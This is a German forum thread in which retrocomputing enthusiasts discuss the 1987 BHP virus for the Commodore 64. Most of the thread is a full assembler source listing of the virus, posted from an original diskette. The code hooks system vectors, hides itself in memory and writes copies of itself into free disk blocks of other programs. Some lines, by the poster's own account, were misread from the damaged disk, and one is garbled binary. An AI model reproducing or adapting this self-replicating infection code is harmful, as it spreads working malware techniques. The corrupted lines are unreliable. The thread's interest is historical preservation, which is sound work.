Hallo zusammen, Mal wieder auf der Suche... Vor vielen vielen Jahren habe ich damals für 10 Mark von den Jungs der Bayerischen Hacker Post den BHP Virus samt Quellcode und Doku gekauft weil mich das Thema Computer Viren total fasziniert hat (und letztendlich zu meinem Beruf wurde...) Bei irgendeinem Umzug oder war es bei einem "unerwünschten Besuch " während meiner sehr aktiven Mailbox/Datex-P Zeit ging das Ding verloren. Ich habe zwar noch "das Wörterbuch für Hacker" aus dem Schneider Verlag und natürlich die beiden Hacker Bibeln vom Chaos Computer Club und einige Disketten und Tools in einer Kiste gefunden, aber Den Quellcode bzw die Diskette nicht mehr. Hat da jemand zufällig noch jemand kontakt zu den Leuten oder die Doku rumliegen? Den Virus selbst habe ich noch und auch meine Facharbeit zu dem Teil... Hab die neulich beim Aufräumen gefunden und jetzt interessiert mich, wie ich zu manchen meiner Schlussfolgerungen gekommen bin 😄 beim erneuten reversen hab ich festgestellt, dass meine C64 Assembler Kenntnisse in den letzten 20 Jahren "etwas" nachgelassen haben...
Quellcode/Doku BHP Virus
- fnx73
- Thread is marked as Resolved.
-
-
Der Hexdump auf https://de.wikipedia.org/wiki/BHP_(Computervirus) zeigt das dieser Virus nur sehr klein ist.
Hau den durch einen Disassembler und dann kannst Du hier immer noch die Leute fragen wenn was nicht
ganz klar ist.
-
Ich habe den BHP-Virus vor 36 Jahren für das 64er-Magazin analysiert und den Assemblercode kommentiert. Leider finde ich den Textjob nicht mehr als Datei, aber ich habe im Keller noch einen vergilbten Papierstapel (21 Seiten) mit dem kommentierten Quelltext. Ich habe die 21 Seiten eben gescannt (PDF, 8 MByte). Wenn Interesse besteht, kann ich das PDF irgendwie verfügbar machen, falls das hier technisch geht. Ansonsten gerne per E-Mail.
Viele Grüße aus einem sonnigen München
Nikolaus Heusler
-
Ich bekunde Interesse am kommentierten Ausdruck.
-
Wenn Interesse besteht, kann ich das scannen und irgendwie als PDF verfügbar machen, falls das hier technisch geht.
Hier besteht an Allem(!) Interesse, was auch nur irgendwie irgendwas mit dem C64 zu tun hat.
Also auch von mir ein klares "Ja!"
-
Snoopy und Marvin: Vielen Dank für Euer Interesse. Leider kann ich die PDF-Datei (8 MByte) hier nicht hochladen (Fehlermeldung: "zu groß"). Ich verschicke sie aber gerne per E-Mail, wenn Ihr mir Eure Adresse mitteilt (z.B. per Privatnachricht).
-
Hier ist der Source Code als durchsuchbares PDF:
Die Original-Datei, die der Autor netterweise an mich gesendet hat, hänge ich noch an: -
-
Ich habe gestern in meiner Diskettenbox die original Diskette gefunden. Die ich damals für 10,-DM von der BHP gekauft habe.
Ich habe die Diskette mit dcopy auf KFF übertragen. Leider haben sich da in den Source-Code von Papa Hacker ab Zeile 44 bis 54 Fehler beim Auslesen Fehler eingeschlichen.
Die Diskette hat leider da eine Rille.
Vielleicht kann jemand die Diskette reparieren oder zumindest den Source-Code (VIRUS - Sourse .prg) reparieren/ergänzen
Code- 0 rem copyright 1987 by bhp+papa hacker virus c-64 munich 18.2.1987
- 1 open1,8,1,"virus"
- 2 sys9*4096
- 3 .opt o1
- 4 start = $d000
- 5 *= start
- 10 par = $b7
- 11 mem = $58
- 12 setpar = $ffba
- 13 setname = $ffbd
- 14 iecopen = $f3d5
- 15 sek = $b9
- 16 dev = $ba
- 17 seklist = $ff93
- 18 sektalk = $ff96
- 19 list = $ffb1
- 20 talk = $ffb4
- 21 unlist = $ffae
- 22 untalk = $ffab
- 23 iecget = $ffa5
- 24 iecout = $ffa8
- 25 status = $90
- 26 count = mem
- 27 close = $f642
- 28 bam = count + 1
- 29 track = bam + 3
- 30 vtrack = track + 1
- 31 free = vtrack+ 1
- 32 puffer = free + 1
- 33 job = puffer+ 1
- 34 do = job + 1
- 35 x = bam
- 36 y = bam + 1
- 37 z = bam + 2
- 38 basics = 43
- 39 adr = do + 1
- 40 sector = adr + 1
- 41 vsec = sector+ 1
- 42 blocks = 8
- 43 work = $8b
- 44 mem1 = work
- 65535 backup%Tprintÿÿÿÿright$ÿÿpaintÿÿÿrgrÿremÿÿuntilverifyÿÿÿTprintÿÿÿÿright$ÿÿpaintÿÿÿrgrÿgotoÿleft$ÿstopÿÿÿTpokeÿÿÿÿright$ÿÿpaintÿÿÿrgrÿgotoÿgoÿopenÿÿÿÿÿ|ÿÿright$ÿÿremgotoopenlistÿÿuntilopenÿÿÿYÿXÿÿÿright$ÿreadreadÿkÿprintÿÿÿÿÿÿright$ÿÿÿÿÿÿuntilprintÿÿÿUÿIÿright$ÿÿÿÿkÿpokeÿÿÿÿÿright$ÿÿremgotoprintopenÿÿl5
- 8224 = $0332
- 54 link = $02a7
- 55 nmitah = $dd05
- 56 nmitbh = $dd07
- 57 nmip = $0318
- 58 romtest = $fd02
- 59 warmp = $0302
- 60 irqp = $0314
- 61 irqe = $ea31
- 62 nmie = $ea86
- 63 stop = $ffe1
- 64 charout = $ffd2
- 1000 .byte 031,008,194,007,158
- 1010 virus .byte 194,040,052,051,041
- 1020 .byte 170,194,040,052,052
- 1030 .byte 041,172,050,053,054
- 1040 .byte 170,052,056,058,086
- 1050 .byte 073,082,085,083,000
- 1060 .byte 000,000
- 1065 .word blocks*254
- 1066 .byte $a7,$ad,$a6,$5d,$a5,$32,$a6,$8d
- 1067 *=* + 6
- 1070 ;1986 syspeek(43)+peek(44)*256+48:
- 1080 ;virus
- 1999 ;---initialisiere-virus--->init
- 2000 ldy #34
- 2010 init3 lda (basics),y
- 2020 pha
- 2030 iny
- 2040 cpy #42
- 2050 bne init3
- 2160 php ;status,
- 2170 sei ;interrupt sperren !
- 2180 pha ;akku,
- 2190 lda 1 ;und speicherkonfig.
- 2200 pha ;retten
- 2210 lda #>endit-1
- 2220 pha ;rueckkehrpunkt vom
- 2230 lda #<endit-1;virussystem
- 2240 pha
- 2250 lda #0
- 2260 sta 1 ;auf ram umschalten
- 2270 ldy #$03
- 2280 init1 lda work,y
- 2290 pha
- 2300 dey
- 2310 bpl init1
- 2320 lda basics ;kopiere den virus
- 2330 sta mem1 ;unter i/o bereich
- 2340 lda basics+1
- 2350 sta mem2
- 2360 lda #<start
- 2370 sta mem3
- 2380 lda #>start
- 2390 sta mem4
- 2400 ldx #blocks
- 2410 ldy #0
- 2420 init2 lda (mem1),y
- 2430 sta (mem3),y
- 2440 iny
- 2450 bne init2
- 2460 inc mem2
- 2470 inc mem4
- 2480 dex
- 2490 bne init2
- 2500 jmp new
- 3000 ;----verschiebe programm-->move
- 3010 move sec ;setze programmende
- 3020 lda loade ;pointer
- 3025 ldy #32
- 3030 sbc (basics),y
- 3040 sta basice
- 3050 sta loade
- 3060 lda loade +1
- 3065 iny
- 3070 sbc (basics),y
- 3080 sta basice+1
- 3090 sta loade +1
- 3100 lda #0
- 3110 sta mem1 ;verschiebe pointer
- 3120 lda basics+1 ;berechnen
- 3130 sta mem2
- 3140 clc
- 3145 dey
- 3150 lda (basics),y
- 3160 adc basics
- 3170 sta mem3
- 3175 iny
- 3180 lda (basics),y
- 3190 adc basics+1
- 3200 sta mem4
- 3210 sec
- 3220 lda mem3
- 3230 sbc basics
- 3240 sta mem3
- 3250 lda mem4
- 3260 sbc #0
- 3270 sta mem4
- 3280 ldy basics
- 3290 move1 cpy basice
- 3300 bne move2
- 3310 lda mem2
- 3320 cmp basice+1
- 3330 beq move3
- 3340 move2 lda (mem3),y
- 3350 sta (mem1),y
- 3360 iny
- 3370 bne move1 ;programm an orginal-
- 3380 inc mem2 ;adresse verschieben
- 3390 inc mem4
- 3400 bne move1
- 3410 move3 lda loade+1
- 3420 cmp #$80 ;ueberpruefe lade-
- 3430 bcs move4 ;endadresse
- 3440 ldx #9
- 3450 rom lda resetv,x
- 3460 sta $8000,x
- 3470 dex
- 3480 bpl rom
- 3490 move4 rts
- 4000 ;----neustart virus------->new
- 4010 new lda $fffa
- 4020 pha ;nmi-vektor retten
- 4030 lda $fffb ;
- 4040 pha ;
- 4050 lda #<return;und auf rti setzen
- 4060 sta $fffa ;
- 4070 lda #>return
- 4080 sta $fffb
- 4090 jsr move ;programm verschieben
- 4091 lda #0
- 4092 tay
- 4093 clc
- 4094 n1 adc virus,y
- 4095 rol
- 4096 adc #0
- 4097 iny
- 4098 cpy #27
- 4099 bne n1
- 4100 cmp #186
- 4101 beq n2
- 4103 n3 iny
- 4104 sta (basics),y
- 4105 bne n3
- 4109 n2 jsr install ;virus installieren
- 4110 jmp syscont ;rueckkehr ins system
- 4200 ;-----install------------->i
- 4210 install lda name
- 4220 cmp #"*"
- 4230 beq i0
- 4231 bne i1
- 4236 reinst jsr pointer
- 4240 i0 jsr restore;zeiger ruecksetzen
- 4250 i1 jsr relink ;link-teil kopieren
- 4260 jsr pointer ;pointer setzen
- 4270 jsr make ;->extern ausfuehren
- 4280 jsr romtest ;test auf cbm80 ^
- 4290 bne i2
- 4300 ldx #3
- 4310 jsr rom ;vektoren setzen
- 4320 i2 rts
- 4400 ;-----link-teil-kopieren-->r
- 4410 relink ldx #linklen
- 4420 r1 lda extern,x
- 4430 sta link,x ;link-teil nach link
- 4440 dex ;kopieren
- 4450 bpl r1
- 4460 rts
- 4500 ;-----zeiger-setzen------->p
- 4505 pointer lda loadp
- 4510 lda loadp
- 4515 cmp #<load
- 4520 beq p1 ;diverse betriebs-
- 4525 sta load+1 ;system zeiger auf
- 4530 lda #<load ;virus programm
- 4535 sta loadp ;setzen
- 4540 p1 lda loadp+1
- 4545 cmp #>load ;(load,save,nmi,irq,
- 4550 beq p2 ;reset,basicwarmstart,
- 4555 sta load+2 ;breakvektor)
- 4560 lda #>load
- 4565 sta loadp+1
- 4570 p2 lda savep
- 4575 cmp #<save
- 4580 beq p3
- 4585 sta save+1
- 4590 lda #<save
- 4595 sta savep
- 4600 p3 lda savep+1
- 4605 cmp #>save
- 4610 beq p4
- 4615 sta save+2
- 4620 lda #>save
- 4625 sta savep+1
- 4630 p4 lda warmp
- 4635 cmp #<bws1
- 4640 beq p5
- 4645 sta bws2+1
- 4650 lda #<bws1
- 4655 sta warmp
- 4660 p5 lda warmp+1
- 4665 cmp #>bws1
- 4670 beq p6
- 4675 sta bws2+2
- 4680 lda #>bws1
- 4685 sta warmp+1
- 4690 p6 lda nmip
- 4695 cmp #<nmi1
- 4700 beq p9
- 4705 sta nmi2+1
- 4710 lda #<nmi1
- 4715 sta nmip
- 4720 p9 lda nmip+1
- 4725 cmp #>nmi1
- 4730 beq p10
- 4735 sta nmi2+2
- 4740 lda #>nmi1
- 4745 sta nmip+1
- 4750 p10 lda #<nmi1
- 4755 sta breakp
- 4760 lda #>nmi1
- 4765 sta breakp+1
- 4770 lda #<reset
- 4780 sta $fffc
- 4790 lda #>reset
- 4800 sta $fffd
- 4810 rts
- 4900 ;--zeiger-zuruecksetzen--->
- 4905 restore lda load+1
- 4910 sta loadp ;diverse betriebs-
- 4915 lda load+2 ;systemzeiger auf
- 4920 sta loadp+1 ;orginaladresse
- 4925 lda save+1 ;zuruecksetzen
- 4930 sta savep ;(load,save,nmi,irq,
- 4935 lda save+2 ;basicwarmstart)
- 4940 sta savep+1
- 4945 lda bws2+1
- 4950 sta warmp
- 4955 lda bws2+2
- 4960 sta warmp+1
- 4965 lda nmi2+1
- 4970 sta nmip
- 4975 lda nmi2+2
- 4980 sta nmip+1
- 4985 rts
- 6000 ;------virus-kopieren----->jump
- 6010 doit lda status
- 6020 pha ;status retten
- 6030 ldx #$05
- 6040 jump12 lda par,x
- 6050 pha
- 6060 dex ;speicherstellen
- 6070 bpl jump12 ;auf stack retten
- 6080 ldx #13+blocks
- 6090 jump13 lda mem,x
- 6100 pha
- 6110 dex
- 6120 bpl jump13
- 6150 lda #0 ;floppy-
- 6160 jsr hacintosh ;
- 6170 ldx #$6f ;kommandokanal
- 6180 stx sek ;
- 6190 jsr hans ;oeffnen
- 6200 lda #1 ;zuletztbenutztes
- 6210 ldx #<name ;file
- 6220 ldy #>name ;
- 6230 jsr hacintosh ;
- 6240 lda #$60 ;
- 6250 sta sek ;
- 6260 jsr hans ;
- 6270 jsr stalk
- 6280 jsr bhp ;adrl
- 6290 cmp basics
- 6300 bne end
- 6310 jsr bhp ;adrh
- 6320 cmp basics+1
- 6330 bne end
- 6340 lda #5 ;wenn richtig
- 6350 sta count ;lese link,line,token
- 6360 loop1 jsr bhp
- 6370 dec count
- 6380 bne loop1
- 6390 tax
- 6400 lda status ;fehler aufgetreten
- 6410 lsr
- 6420 lsr
- 6430 bcs end ;ja -->
- 6440 cpx #$9e ;sys-befehl
- 6450 bne jump1 ;nein, basicprg -->
- 6460 lda #0 ;teste auf virus
- 6470 sta count
- 6480 loop2 jsr bhp
- 6490 ldx count
- 6500 cmp virus,x
- 6510 bne jump1
- 6520 inx
- 6530 stx count
- 6540 cpx #27
- 6550 bne loop2
- 6560 end jmp bye ;prg schon verseucht
- 6570 jump1 jsr suhal
- 6580 lda #"r" ;schalte auf lese-
- 6590 sta do ;modus
- 6600 ldx #$6f
- 6610 stx sek
- 6620 ldx #$f9 ;zuletzt benutzten
- 6630 ldy #0 ;puffer ermittlen
- 6640 lda #1
- 6650 jsr memory
- 6660 jsr garfield
- 6670 jsr stalk
- 6680 jsr bhp ;hole puffer
- 6690 pha
- 6700 jsr suhal
- 6710 pla
- 6720 sta job ;berechne diverse
- 6730 clc ;parameter
- 6740 adc #3
- 6750 sta adr ;high-byte puffer
- 6760 lda job
- 6770 asl
- 6780 adc #6 ;track§or fuer
- 6790 tax ;job
- 6800 stx puffer
- 6810 ldy #0
- 6820 lda #2 ;hole start-
- 6830 jsr memory ;track & -sector
- 6840 jsr garfield
- 6850 jsr stalk
- 6860 jsr bhp ;starttrack
- 6870 sta track ;speichern
- 6880 jsr bhp ;startsector
- 6890 sta sector ;speichern
- 6900 jsr suhal
- 6910 lda track ;directory nicht
- 6920 cmp #18 ;verseuchen
- 6930 beq end
- 6940 ldx #$0e ;pruefe ob bam im
- 6950 ldy #$00 ;floppy-ram vorhanden
- 6960 lda #2 ;ist
- 6970 jsr memory
- 6980 jsr garfield
- 6990 jsr stalk
- 7000 jsr bhp
- 7010 cmp #18 ;directory-track
- 7020 bne end ;nein --> dann ende
- 7030 jsr bhp
- 7040 cmp #0 ;bam-sector
- 7050 bne end ;nein --> dann ende
- 7060 jsr suhal
- 7070 ldx #$00 ;suche platz fuer
- 7080 jump3 stx x ;virus
- 7090 txa
- 7100 lsr ;pruefe unterstes bit
- 7110 sta count ;wenn bit=0 suche
- 7120 bcc jump9 ;nach innen
- 7130 lda track ;anderfalls nach
- 7140 sbc count ;aussen
- 7150 jmp jump10
- 7160 jump9 adc track
- 7170 jump10 sta vtrack
- 7180 beq jump16 ;spur>35 oder
- 7190 cmp #36 ;<1 dann weitersuchen
- 7200 bcs jump16
- 7210 cmp #18 ;directoryspur
- 7220 beq jump16
- 7230 jsr bselect ;suche platz
- 7240 jsr garfield
- 7250 jsr stalk
- 7260 jsr bhp
- 7270 cmp #blocks ;platz gefunden
- 7280 bcs jump4 ;ja-->
- 7290 jsr suhal
- 7300 jump16 ldx x
- 7310 inx ;pruefe ob weitere
- 7320 cpx #68 ;suche sinnvoll
- 7330 bne jump3 ;-->ja
- 7340 jmp end ;nein,dann virus ende
- 7350 jump4 sbc #blocks
- 7360 sta free ;platz belegen
- 7370 jsr bhp ;lese bam-track
- 7380 sta bam
- 7390 jsr bhp
- 7400 sta bam+1
- 7410 jsr bhp
- 7420 sta bam+2
- 7430 jsr garfield
- 7440 ldy #blocks ;suche freie sectoren
- 7450 ldx #$ff
- 7460 jump5 php
- 7470 inx
- 7480 cpx #25
- 7490 beq jump6
- 7500 plp
- 7510 ror bam+2
- 7520 ror bam+1
- 7530 ror bam
- 7540 bcc jump5 ;sector belegt
- 7550 cpy #0
- 7560 beq jump5
- 7570 txa ;sector gefunden
- 7580 sta vsec-1,y
- 7590 dey
- 7600 clc
- 7610 bcc jump5 ;weiter suchen
- 7620 jump6 plp
- 7630 lda #"w" ;schalte auf
- 7640 sta do ;schreibmodus
- 7650 lda vtrack
- 7660 jsr bselect ;bam update
- 7670 lda free
- 7680 jsr papa
- 7690 lda bam
- 7700 jsr papa
- 7710 lda bam+1
- 7720 jsr papa
- 7730 lda bam+2
- 7740 jsr outunl
- 7750 ldx #4 ;schreibe bam auf
- 7760 ldy #0 ;disk
- 7770 lda #1
- 7780 jsr memory
- 7790 lda #$90 ;_______block-write
- 7800 jsr outunl ;kopiere start-
- 7810 jsr ask ;block nach letzten
- 7820 ldx puffer ;gefunden freien
- 7830 ldy #0 ;block
- 7840 lda #2
- 7850 jsr memory
- 7860 lda track ;lese block ein
- 7870 jsr papa
- 7880 lda sector
- 7890 jsr outunl
- 7900 ldx job
- 7910 ldy #0
- 7920 lda #1
- 7930 jsr memory
- 7940 lda #$80 ;_______block-read
- 7950 jsr outunl
- 7960 jsr ask
- 7970 ldx puffer
- 7980 ldy #0
- 7990 lda #2
- 8000 jsr memory ;schreibe block an
- 8010 lda vtrack ;neue stelle
- 8020 jsr papa
- 8030 lda vsec+blocks-1
- 8040 jsr outunl
- 8050 ldx job
- 8060 ldy #0
- 8070 lda #1
- 8080 jsr memory
- 8090 lda #$90 ;_______block-write
- 8100 jsr outunl
- 8110 jsr ask
- 8120 ldx #0 ;virus am anfang des
- 8130 stx count ;programms einbauen
- 8140 lda #<start-4
- 8150 sta x
- 8160 lda #>start-4
- 8170 sta y
- 8180 lda #0
- 8190 sta z
- 8200 jump8 ldx z
- 8210 ldy adr
- 8220 lda #32 ;32 bytes in puffer
- 8230 jsr memory ;schreiben
- 8240 jump7 ldy z
- 8250 lda (x),y
- 8260 jsr papa
- 8270 inc z
- 8280 lda z
- 8290 and #%11111
- 8300 bne jump7
- 8310 jsr garfield
- 8320 lda z ;kompletter block in
- 8330 bne jump8 ;puffer geschrieben..
- 8340 ldy count
- 8350 bne jump17
- 8360 ldx #2 ;korrigiere startadr.
- 8370 ldy adr ;im ersten block
- 8380 lda #2
- 8390 jsr memory
- 8400 lda basics
- 8410 jsr papa
- 8420 lda basics+1
- 8430 jsr outunl
- 8440 jump17 ldx #0
- 8450 ldy adr
- 8460 lda #2 ;linkbytes
- 8470 jsr memory ;korrigieren
- 8480 lda vtrack
- 8490 jsr papa
- 8500 ldy count
- 8510 lda vsec,y
- 8520 jsr outunl
- 8530 ldx puffer ;block auf disk
- 8540 ldy #0 ;schreiben
- 8550 lda #2
- 8560 jsr memory
- 8570 ldy count
- 8580 bne jump11
- 8590 lda track
- 8600 .byte $2c
- 8610 jump11 lda vtrack
- 8620 jsr papa
- 8630 ldy count
- 8640 lda sector,y
- 8650 jsr outunl
- 8660 ldx job
- 8670 ldy #0
- 8680 lda #1
- 8690 jsr memory
- 8700 lda #$90 ;_______block-write
- 8710 jsr outunl
- 8720 jsr ask
- 8730 clc
- 8740 lda x
- 8750 adc #254
- 8760 sta x
- 8770 lda y
- 8780 adc #0
- 8790 sta y
- 8800 inc count ;falls noch bloecke
- 8810 ldx count ;zu schreiben, weiter
- 8820 cpx #blocks
- 8830 beq bye ;hippie!fertig san ma
- 8840 jmp jump8
- 9000 ;wird ein virus freigelassen...
- 9770 bye lda #$60
- 9780 sta sek
- 9790 jsr fjs
- 9800 lda #$6f
- 9810 sta sek
- 9820 jsr slist
- 9830 lda #"i"
- 9840 jsr outunl
- 9850 ldx #$00
- 9860 jump14 pla ;speicherstellen
- 9870 sta mem,x ;restaurieren
- 9880 inx
- 9890 cpx #14+blocks
- 9900 bne jump14
- 9910 ldx #$00
- 9920 jump15 pla
- 9930 sta par,x
- 9940 inx
- 9950 cpx #$06
- 9960 bne jump15
- 9965 jsr call
- 9970 pla
- 9980 sta status
- 9990 rts ;virusprogramm ende
- 10000 ;-----iecout+unlist------>
- 10010 outunl jsr papa
- 10020 jmp garfield
- 11000 ;------bselect----------->
- 11010 bselect asl ;selektiert einen
- 11020 asl ;track der bam
- 11030 tax
- 11040 ldy #7
- 11050 lda #4
- 11060 jmp memory
- 12000 ;------stalk------------->
- 12010 stalk lda dev
- 12020 jsr saskia
- 12030 lda sek ;primaer-&sekundaer-
- 12040 jmp christine;adresse talk
- 13000 ;------slist------------->
- 13010 slist lda dev
- 13020 jsr nemo
- 13030 lda sek ;primaer-&sekundaer-
- 13040 jmp thomas ;adresse listen
- 14000 ;------ask--------------->
- 14010 ask lda #"r";ueberpruefe ob
- 14020 sta do ;job an disk
- 14030 a1 ldx #0 ;schon ausgefuehrt
- 14040 a2 nop ;ist
- 14050 nop
- 14060 nop
- 14070 nop
- 14080 inx
- 14090 bne a2
- 14100 ldx job
- 14110 ldy #0
- 14120 lda #1
- 14130 jsr memory
- 14140 jsr garfield
- 14150 jsr stalk
- 14160 jsr bhp
- 14170 pha
- 14180 jsr suhal
- 14190 pla
- 14200 and #$80
- 14210 bne a1 ;nein, dann nochmal
- 14220 lda #"w"
- 14230 sta do
- 14240 rts
- 15000 ;------memory-akku------->
- 15010 memory pha ;"m-"+
- 15020 tya ;speicherstelle do+
- 15030 pha ;x+
- 15040 txa ;y+
- 15050 pha ;a
- 15060 jsr slist ;an floppy senden
- 15070 lda #"m"
- 15080 jsr papa
- 15090 lda #"-"
- 15100 jsr papa
- 15110 lda do
- 15120 jsr papa
- 15130 pla
- 15140 jsr papa
- 15150 pla
- 15160 jsr papa
- 15170 pla
- 15180 jmp papa
- 16000 ;----ieclink------------->
- 16001 ;iecbus-routinen ueber link
- 16002 ;ausfuehren
- 16010 blackbird jsr make : jsr setpar
- 16020 rts
- 16030 hacintosh jsr make : jsr setname
- 16040 rts
- 16050 hans jsr make : jsr iecopen
- 16060 rts
- 16070 thomas jsr make : jsr seklist
- 16080 rts
- 16090 christine jsr make : jsr sektalk
- 16100 rts
- 16110 nemo jsr make : jsr list
- 16120 rts
- 16130 saskia jsr make : jsr talk
- 16140 rts
- 16150 garfield jsr make : jsr unlist
- 16160 rts
- 16170 suhal jsr make : jsr untalk
- 16180 rts
- 16190 papa jsr make : jsr iecout
- 16200 rts
- 16210 bhp jsr make : jsr iecget
- 16220 rts
- 16230 fjs jsr make : jsr close
- 16240 rts
- 20000 ;--betriebssystem-aufruf->
- 20010 make php ;prozessor-register
- 20020 pha ;retten
- 20030 txa
- 20040 pha
- 20050 tya
- 20060 pha
- 20070 tsx ;rueckkehr-adresse
- 20080 txa ;berechnen
- 20090 clc
- 20100 adc #5
- 20110 tax
- 20120 lda $0100,x ;
- 20130 sta mem1 ;merken
- 20140 clc ;
- 20150 adc #3 ;und korrigieren
- 20160 sta $0100,x
- 20170 php ;das gleiche mit
- 20180 inx ;dem lo-byte
- 20190 plp
- 20200 lda $0100,x
- 20210 sta mem2
- 20220 adc #0
- 20230 sta $0100,x
- 20240 ldy #3
- 20250 m1 lda (mem1),y
- 20260 sta link-1,y;programmteil nach
- 20270 dey ;link kopieren
- 20280 bne m1
- 20290 pla ;register reparieren
- 20300 tay
- 20310 pla
- 20320 tax
- 20330 pla
- 20340 plp
- 20350 jmp link+4 ;und ausfuehren
- 30000 ;------system------------>sys
- 30010 system lda $fffa
- 30020 pha ;nmi-vektor retten
- 30030 lda $fffb ;
- 30040 pha ;
- 30050 lda #<return;und auf rti setzen
- 30060 sta $fffa ;
- 30070 lda #>return
- 30080 sta $fffb
- 30090 lda mem1 ;
- 30100 pha ;
- 30110 lda mem2 ;
- 30120 pha ;diverse speicher-
- 30130 lda mem3 ;stellen retten...
- 30140 pha ;
- 30150 lda mem4 ;
- 30160 pha ;
- 30170 txa ;x+y voruebergehend
- 30180 pha ;retten
- 30190 tya
- 30200 pha
- 30201 jsr reinst ;zeiger ueberprufen
- 30202 pla ;x+y wieder holen
- 30203 tay
- 30204 pla
- 30205 tax
- 30211 lda irqp+1
- 30212 pha
- 30213 lda irqp
- 30214 pha
- 30220 lda #<irqe ;interrupts
- 30230 sta irqp ;entschaerfen
- 30240 lda #>irqe
- 30250 sta irqp+1
- 30260 lda #<nmie
- 30270 sta nmip
- 30280 lda #>nmie
- 30290 sta nmip+1
- 30291 txa
- 30292 pha ;x+y retten
- 30293 tya ;
- 30294 pha ;
- 30300 tsx ;parameter aufgrund
- 30310 txa ;des stacks berechnen
- 30320 clc ;
- 30330 adc #16 ;
- 30340 tax
- 30350 clc
- 30360 lda $0100,x ;lo-zeiger holen
- 30370 adc #1 ;ruecksprung neu
- 30380 sta mem1 ;berechnen und
- 30390 sta $0100,x ;speichern
- 30400 php ;
- 30410 inx ;
- 30420 plp ;das gleiche mit hi
- 30430 lda $0100,x ;
- 30440 adc #0 ;
- 30450 sta mem2 ;
- 30460 sta $0100,x ;
- 30470 ldy #0
- 30480 lda (mem1),y
- 30490 cmp #128
- 30500 beq sysload
- 30510 cmp #64
- 30520 beq syssave
- 30530 cmp #16
- 30540 beq sysnmi
- 30580 sysend jsr make
- 30590 lda nmitah ;nmi-timer abfrage
- 30600 beq sysend ;
- 30610 jsr make ;
- 30620 lda nmitbh ;
- 30630 beq sysend
- 30631 pla ;register
- 30632 tay ;restaurieren
- 30633 pla
- 30634 tax
- 30640 pla ;interupts wieder
- 30650 sta irqp ;reorganisiern
- 30660 pla
- 30670 sta irqp+1
- 30680 lda #<nmi1
- 30690 sta nmip
- 30700 lda #>nmi1
- 30710 sta nmip+1
- 30760 syscont pla ;diverse speicher-
- 30770 sta mem4 ;stellen
- 30780 pla ;reparieren
- 30790 sta mem3
- 30800 pla
- 30810 sta mem2
- 30820 pla
- 30830 sta mem1
- 30840 pla ;nmivektor reparieren
- 30850 sta $fffb
- 30860 pla
- 30870 sta $fffa
- 30880 rts
- 31000 ;----virus-load-routine-->l
- 31010 sysload ldy #1
- 31020 lda (basics),y
- 31030 beq sysend ;ueberpruefe ob virus
- 31040 ldy #31 ;schon im speicher
- 31050 ldx #26 ;ist
- 31060 l1 lda (basics),y
- 31070 cmp virus,x
- 31080 bne syssave ;nein, dann verseuche
- 31090 dey
- 31100 dex
- 31110 bne l1
- 31120 pla ;endadresse holen
- 31130 sta loade+1
- 31140 pla
- 31150 sta loade
- 31160 jsr move ;programm im speicher
- 31170 lda loade ;verschieben
- 31180 pha
- 31190 lda loade+1 ;loadadresse
- 31200 pha ;korrigieren
- 31210 jmp sysend
- 32000 ;----virus-save-routine--->
- 32010 syssave lda dev ;ueberpruefe
- 32020 cmp #$08 ;ob device floppy
- 32030 bcc sysend ;ist
- 32040 jsr doit
- 32050 jmp sysend ;programm verseuchen
- 33000 ;----virus-nmi-routine---->
- 33010 sysnmi jsr make
- 33020 jsr stop ;stop-taste gedrueckt
- 33030 bne sysend ;-->nein
- 33040 jsr make
- 33050 jsr $fd15 ;vektoren setzen
- 33060 jsr reinst ;virus init
- 33070 ldx #$01 ;stack "putzen"
- 33080 txs
- 33090 jsr make
- 33100 jmp $fe69 ;standartnmi vorsetzen
- 34000 ;--virus-reset-routine---->
- 34010 sysreset jsr relink
- 34011 ldx #0
- 34015 jsr make
- 34020 stx $d016 ;orginalton "reset"
- 34040 jsr make
- 34050 jsr $fda3
- 34070 lda #$00
- 34080 tay
- 34090 sysr sta $0002,y
- 34100 sta $0200,y ;page 0,2,3 loeschen
- 34110 sta $0300,y
- 34120 iny
- 34130 bne sysr
- 34140 jsr relink
- 34150 jsr make
- 34160 jsr $fd5f ;speicher init
- 34170 jsr make
- 34180 jsr $fd15 ;vektoren init
- 34190 jsr reinst
- 34200 jsr make
- 34210 jmp $fcfb ;reset normal weiter
- 40000 ;---virus link programm--->
- 40010 extern nop : nop : nop
- 40020 rts ;exteren befehl ausf.
- 40030 jsr romram ;standart konfig.
- 40040 jsr link
- 40050 sei
- 40060 iromram php ;register retten
- 40070 pha ;
- 40080 lda 1 ;os und io ein/aus
- 40090 eor #7
- 40100 iquit sta 1
- 40110 pla
- 40120 plp
- 40130 rts
- 40140 iload jsr load
- 40150 jsr runit : .byte 128
- 40160 rts
- 40170 isave jsr save
- 40180 jsr runit : .byte 64
- 40190 rts
- 40200 ibws1 jsr runit : .byte 32
- 40210 ibws2 jmp bws1
- 40220 inmi1 jsr runit : .byte 16
- 40230 inmi2 jmp nmi1
- 40500 irunit php
- 40510 pha
- 40520 check lda nmitah
- 40530 and nmitbh ;nmi-timer abfragen
- 40540 beq check
- 40550 sei
- 40560 lda 1
- 40570 pha
- 40580 lda #0
- 40590 sta 1
- 40600 jsr system
- 40610 iendit pla
- 40620 jmp quit
- 40630 iname .asc "*" ; filename
- 41000 ireset lda #$2f : sta $00
- 41010 lda #$00 : sta $01
- 41020 jmp sysreset
- 48999 ;---------------------------
- 49000 return rti ;nmi-ruecksprung
- 49985 romram = iromram-extern+link
- 49986 runit = irunit -extern+link
- 49987 endit = iendit -extern+link
- 49988 reset = ireset -extern+link
- 49989 bws2 = ibws2 -extern+link
- 49990 bws1 = ibws1 -extern+link
- 49991 nmi2 = inmi2 -extern+link
- 49992 nmi1 = inmi1 -extern+link
- 49993 save = isave -extern+link
- 49994 load = iload -extern+link
- 49995 name = iname -extern+link
- 49996 quit = iquit -extern+link
- 49997 resetv .byte <reset,>reset
- 49998 .byte $5e,$fe
- 49999 .byte $c3,$c2,$cd,$38,$30
- 50000 ;------virus-meldet-sich-->c
- 50001 call lda $9d ;direktmodus
- 50002 bpl c4
- 50003 lda $a2 ;low-byte zeit
- 50004 bpl c4
- 50005 jsr make
- 50006 lda $d012 ;rasterzeile
- 50007 bpl c4
- 50030 ldy #$00
- 50040 c3 lda text,y
- 50050 beq c1
- 50060 jsr make
- 50070 jsr charout ;zeichenausgabe
- 50100 ldx #0
- 50101 c2 jsr make
- 50102 inc $d020 ;rahmenfarbe
- 50110 inx
- 50120 bne c2
- 50130 iny
- 50140 jmp c3
- 50171 c1 ldx counter
- 50172 lda counter+1
- 50173 jsr make
- 50174 jsr $bdcd ;nummer ausgeben
